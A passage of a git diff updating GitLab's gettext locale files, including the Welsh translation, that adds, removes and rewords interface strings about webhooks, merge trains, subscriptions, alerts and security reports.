@@ -26386,9 +27105,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,7 +27120,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26479,7 +27195,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr "Pomocí %{code_start}::%{code_end} vytvořte sadu %{link_start} štítků s rozsahem %{link_end} (např. Priorita %{code_start}::1%{code_end})"
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27462,21 +28274,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,10 +28620,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29240,9 +30071,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29327,9 +30167,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29450,19 +30281,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29929,6 +30766,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index 239330076ef..dc0f7859d54 100644
--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:37\n"
+"PO-Revision-Date: 2020-09-04 23:01\n"
msgid " %{start} to %{end}"
msgstr " %{start} i %{end}"
@@ -64,14 +64,14 @@ msgstr[5] " wedi'i wella ar %d pwynt"
msgid " or "
msgstr " neu "
-msgid " or <!merge request id>"
-msgstr " neu <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " neu <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " neu <#epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " neu gyfeiriadau (ee path/to/project!merge_request_id)"
@@ -79,6 +79,9 @@ msgstr " neu gyfeiriadau (ee path/to/project!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "Nid oedd \"%{path}\" yn bodoli ar \"%{ref}\""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -481,6 +484,9 @@ msgstr[5] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -517,6 +523,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -589,6 +598,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Digwyddiad sentry: %{errorUrl}- Gwelwyd gyntaf: %{firstSeen}- Gwelwyd ddiwethaf: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -616,7 +628,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -703,9 +715,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -724,6 +733,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -733,6 +745,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -865,6 +889,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -898,6 +925,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -913,6 +943,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -1006,6 +1039,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -1039,6 +1075,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -1048,7 +1087,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -1096,6 +1150,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1366,15 +1423,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1438,7 +1486,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1456,6 +1504,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1558,6 +1609,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1669,6 +1723,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1705,12 +1762,6 @@ msgstr[5] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1825,6 +1876,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1837,6 +1891,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1849,6 +1906,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -2128,6 +2188,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2143,6 +2206,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2374,6 +2440,9 @@ msgstr[5] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2404,7 +2473,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2461,9 +2530,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2476,6 +2542,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2518,16 +2587,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2557,7 +2623,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2656,6 +2722,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2803,6 +2872,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2869,6 +2941,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2941,9 +3016,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -3085,13 +3169,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -3118,12 +3205,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3202,6 +3295,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3433,6 +3529,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3445,6 +3544,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3460,9 +3562,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3571,7 +3670,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3583,9 +3682,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3598,6 +3694,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3865,7 +3964,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3943,6 +4042,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
